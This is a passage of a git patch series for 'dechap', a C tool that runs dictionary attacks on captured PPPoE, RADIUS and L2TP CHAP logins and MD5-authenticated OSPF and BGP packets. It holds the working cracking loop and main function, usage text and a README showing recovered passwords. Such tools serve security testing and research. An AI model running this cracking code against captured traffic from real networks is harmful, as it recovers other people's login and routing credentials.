currentpuzzle->length , hash); - if(memcmp(hash, currentpuzzle->response, 16) == 0){ - printf("Found password \"%s\" for user %s.\n", password, currentpuzzle->username); - currentpuzzle->password = strdup(password); - break; - } - } else if(currentpuzzle->type == OSPF_MD5){ - // Hash is run against the packet contents, plus a zero padded password field of exactly 16 bytes length - memcpy(base, currentpuzzle->challenge, currentpuzzle->length); - memcpy(base+currentpuzzle->length, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); - strcpy(base+currentpuzzle->length, password); - MD5(base, 16 + currentpuzzle->length, hash); - if(memcmp(hash, currentpuzzle->response, 16) == 0){ - printf("Found password \"%s\" for %s.\n", password, currentpuzzle->username); - currentpuzzle->password = strdup(password); - break; - } - } else if(currentpuzzle->type == IP_MD5){ - // Hash is run against the pseudoheader and segment contents, plus a variable length password field - memcpy(base, currentpuzzle->challenge, currentpuzzle->length); - strcpy(base+currentpuzzle->length, password); - MD5(base, currentpuzzle->length + pwlen -1, hash); - if(memcmp(hash, currentpuzzle->response, 16) == 0){ - printf("Found password \"%s\" for %s.\n", password, currentpuzzle->username); - currentpuzzle->password = strdup(password); - break; - } - } - } - if(currentpuzzle->password == NULL) printf("Unable to find a password for %s.\n", currentpuzzle->username); - free(base); - } + puzzle_t *currentpuzzle = NULL; + char *password = (char*)malloc(256), + *base, + hash[16]; + int pwlen = 0; + + for(currentpuzzle = puzzles; currentpuzzle != NULL; currentpuzzle = currentpuzzle->next){ + base = (char*)malloc(currentpuzzle->length + 257); + rewind(wordfile); + while(feof(wordfile) == 0){ + if(fgets(password, 255, wordfile) == NULL) break; + pwlen = strlen(password); + if(pwlen > 0 && password[pwlen-1] == '\n') password[pwlen-1] = '\x00'; + if(currentpuzzle->type == CHAP){ + // Next job is to concatenate the auth ID with the plaintext password and the challenge data: + base[0] = (char)currentpuzzle->authid; + strcpy(base+1, password); + memcpy(base+pwlen, currentpuzzle->challenge, currentpuzzle->length); + // Obtain the MD5 hash of this and compare it to the one in the CHAP response: + MD5(base, pwlen + currentpuzzle->length , hash); + if(memcmp(hash, currentpuzzle->response, 16) == 0){ + printf("Found password \"%s\" for user %s.\n", password, currentpuzzle->username); + currentpuzzle->password = strdup(password); + break; + } + } else if(currentpuzzle->type == OSPF_MD5){ + // Hash is run against the packet contents, plus a zero padded password field of exactly 16 bytes length + memcpy(base, currentpuzzle->challenge, currentpuzzle->length); + memcpy(base+currentpuzzle->length, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", 16); + strcpy(base+currentpuzzle->length, password); + MD5(base, 16 + currentpuzzle->length, hash); + if(memcmp(hash, currentpuzzle->response, 16) == 0){ + printf("Found password \"%s\" for %s.\n", password, currentpuzzle->username); + currentpuzzle->password = strdup(password); + break; + } + } else if(currentpuzzle->type == IP_MD5){ + // Hash is run against the pseudoheader and segment contents, plus a variable length password field + memcpy(base, currentpuzzle->challenge, currentpuzzle->length); + strcpy(base+currentpuzzle->length, password); + MD5(base, currentpuzzle->length + pwlen -1, hash); + if(memcmp(hash, currentpuzzle->response, 16) == 0){ + printf("Found password \"%s\" for %s.\n", password, currentpuzzle->username); + currentpuzzle->password = strdup(password); + break; + } + } + } + if(currentpuzzle->password == NULL) printf("Unable to find a password for %s.\n", currentpuzzle->username); + free(base); + } } -int main(int argc, char *argv[]){ -// The main function basically just calls other functions to do the work. - params_t *parameters = NULL; - FILE *capfile = NULL, - *wordfile = NULL; - auth_list_item_t *chaps = NULL; - puzzle_t *puzzles = NULL; - - // Parse our command line parameters and verify they are usable. If not, show help. - parameters = parseParams(argc, argv); - if(parameters == NULL){ - printf("dechap: a dictionary attack for captured PPPoE, RADIUS, L2TP, OSPF and BGP traffic.\nVersion %s, %s\n\n", SWVERSION, SWRELEASEDATE); - printf("Usage:\n"); - printf("%s -c capfile -w wordfile\n\n",argv[0]); - printf("Where capfile is a tcpdump-style .cap file containing PPPoE, RADIUS\n"); - printf("or L2TP CHAP authentications or MD5 authenticated OSPF / BGP packets and\n"); - printf("wordfile is a plain text file containing password guesses. VLAN tags\n"); - printf("and MPLS labels are automatically stripped.\n"); - return(1); - } - - // Attempt to open the capture file and word list: - capfile = fopen(parameters->capfile,"rb"); - if (capfile == NULL) { - printf("\nError!\nUnable to open capture file!\n"); - return(1); - } - wordfile = fopen(parameters->wordfile, "r"); - if(wordfile == NULL){ - printf("Error - could not open wordfile!\n"); - return(1); - } - - // Parse the pcap file and store any authentications found in the list: - puzzles = parse_pcap(capfile); - fclose(capfile); - - // Now we have our puzzles, let's crack some passwords. - if(puzzles == NULL){ - printf("No attackable authentications found.\n"); - return(1); - } - crack(puzzles, wordfile); - fclose(wordfile); - - return(0); +/* + * The main function basically just calls other functions to do the work. +**/ + +int main(int argc, char **argv) +{ + params_t *parameters = NULL; + FILE *capfile = NULL, + *wordfile = NULL; + auth_list_item_t *chaps = NULL; + puzzle_t *puzzles = NULL; + + /** + * Parse our command line parameters and verify they are usable. If not, show help. + **/ + parameters = parseParams(argc, argv); + if(parameters == NULL){ + printf("%s: Bruteforce attack for captured PPPoE, RADIUS, L2TP, OSPF and BGP traffic.\n", argv[0]); + printf("Version %s, %s\n\n", SWVERSION, SWRELEASEDATE); + printf("Usage:\n"); + printf("%s -c capfile -w wordfile\n\n",argv[0]); + printf("Where capfile is a tcpdump-style .cap file containing PPPoE, RADIUS\n"); + printf("or L2TP CHAP authentications or MD5 authenticated OSPF / BGP packets and\n"); + printf("wordfile is a plain text file containing password guesses. VLAN tags\n"); + printf("and MPLS labels are automatically stripped.\n"); + return(1); + } + + // Attempt to open the capture file and word list: + capfile = fopen(parameters->capfile,"rb"); + if (capfile == NULL) { + printf("\nError!\nUnable to open capture file!\n"); + return(1); + } + wordfile = fopen(parameters->wordfile, "r"); + if(wordfile == NULL){ + printf("Error - could not open wordfile!\n"); + return(1); + } + + // Parse the pcap file and store any authentications found in the list: + puzzles = parse_pcap(capfile); + fclose(capfile); + + // Now we have our puzzles, let's crack some passwords. + if(puzzles == NULL){ + printf("No attackable authentications found.\n"); + return(1); + } + crack(puzzles, wordfile); + fclose(wordfile); + + return(0); } From cd387d438716b9bd0cebc43eb742ce9e90166686 Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:54:13 +0200 Subject: [PATCH 09/12] Added dechap to .gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 5ebd21a..5be8405 100644 --- a/.gitignore +++ b/.gitignore @@ -161,3 +161,4 @@ pip-log.txt # Mac crap .DS_Store +dechap From c1b6ac5c7cb3652d0e50e6e8c74a5fa53323adf2 Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:54:27 +0200 Subject: [PATCH 10/12] Fixing bugs --- dechap.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/dechap.c b/dechap.c index bc91736..94359ce 100644 --- a/dechap.c +++ b/dechap.c @@ -704,14 +704,13 @@ int main(int argc, char **argv) **/ parameters = parseParams(argc, argv); if(parameters == NULL){ - printf("%s: Bruteforce attack for captured PPPoE, RADIUS, L2TP, OSPF and BGP traffic.\n", argv[0]); + printf("\nBruteforce attack for captured PPPoE, RADIUS, L2TP, OSPF and BGP traffic.\n"); printf("Version %s, %s\n\n", SWVERSION, SWRELEASEDATE); - printf("Usage:\n"); - printf("%s -c capfile -w wordfile\n\n",argv[0]); + printf("Usage: %s -c capfile.pcap -w wordlist.txt\n\n", argv[0]); printf("Where capfile is a tcpdump-style .cap file containing PPPoE, RADIUS\n"); printf("or L2TP CHAP authentications or MD5 authenticated OSPF / BGP packets and\n"); printf("wordfile is a plain text file containing password guesses. VLAN tags\n"); - printf("and MPLS labels are automatically stripped.\n"); + printf("and MPLS labels are automatically stripped.\n\n"); return(1); } From 9e60d6a6d9c798bd96d48a4d4db3539cef0b6b3d Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 22:59:24 +0200 Subject: [PATCH 11/12] Updated version to 0.5 alpha --- dechap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/dechap.c b/dechap.c index 94359ce..2f4570b 100644 --- a/dechap.c +++ b/dechap.c @@ -7,7 +7,7 @@ #include "dechap.h" #define SWVERSION "v0.5 alpha" -#define SWRELEASEDATE "October 2016" +#define SWRELEASEDATE "April 2016" // "dechap" attempts to recover credentials from packet captures of PPPoE, RADIUS and L2TP CHAP authentications. // It can also now work with OSPFv2 and BGP packets :) From 7ac082c015c7a4ce9d09d726db96492ca1ab797b Mon Sep 17 00:00:00 2001 From: libcrack Date: Mon, 25 Apr 2016 23:04:58 +0200 Subject: [PATCH 12/12] Updated README to markdown format --- README => README.md | 46 +++++++++++++++++++++++++-------------------- 1 file changed, 26 insertions(+), 20 deletions(-) rename README => README.md (62%) diff --git a/README b/README.md similarity index 62% rename from README rename to README.md index 8f22f3f..8951c80 100644 --- a/README +++ b/README.md @@ -1,31 +1,28 @@ -dechap v0.4 Alpha -Written by Foeh Mannay, October 2013 - -PURPOSE -======= +# DECHAP dechap is a tool which attempts to recover login credentials from captured PPPoE, RADIUS and L2TP CHAP authentications plus MD5 authenticated OSPF or BGP traffic. It strips away any 802.1Q tags and / or MPLS labels which are present -to get to the good stuff and then runs a dictionary attack against any +to get to the good stuff and then runs a dictionary attack against any authentications it finds. Please see http://networkingbodges.blogspot.com/ for more information on the theory behind this if you are interested. -INSTALLATION -============ + +### INSTALLATION Provided the OpenSSL dev libraries are installed it should be possible to simply -extract the source code, cd into the directory then run "make". +extract the source code, cd into the directory then run `make`. -USAGE -===== + +### USAGE There are only two parameters and both are mandatory. You must specify your -capture file (original pcap format) with the -c flag and your word list with -the -w flag. Here's an example: +capture file (original pcap format) with the `-c` flag and your word list with +the `-w` flag. Here's an example: +``` lab@lab:~/dechap$ ./dechap -w mywords.txt -c someauths.cap Found password "tangerine" for user user1@testisp.com. Unable to find a password for user user2@testisp.com. @@ -35,16 +32,25 @@ Found password "Frankenstein" for user user5@testisp.com. Found password "s3cr3tk3y" for OSPF host 10.1.1.1 key 1. Found password "t1nt3rn3t" for TCP from 10.0.0.2 to 10.0.0.1. lab@lab:~/dechap$ +``` + + +### CHANGE LOG + +- v0.1a: First working release, only works with PPPoE traffic. + +- v0.2a: Added support for RADIUS and L2TP captures. + Fixed a bug in MPLS decap. + +- v0.3a: Added support for MD5 authenticated OSPF. -CHANGE LOG -========== +- v0.4a: Added support for MD5 authenticated BGP. -v0.1a First working release, only works with PPPoE traffic. +- v0.5a: Fixed Makefile. -v0.2a Added support for RADIUS and L2TP captures. - Fixed a bug in MPLS decap. -v0.3a Added support for MD5 authenticated OSPF. +### Credits -v0.4a Added support for MD5 authenticated BGP. +dechap v0.1 to v0.4 Alpha - Written by Foeh Mannay, October 2013 +dechap v0.5 Alpha - Written by libcrack, April 2016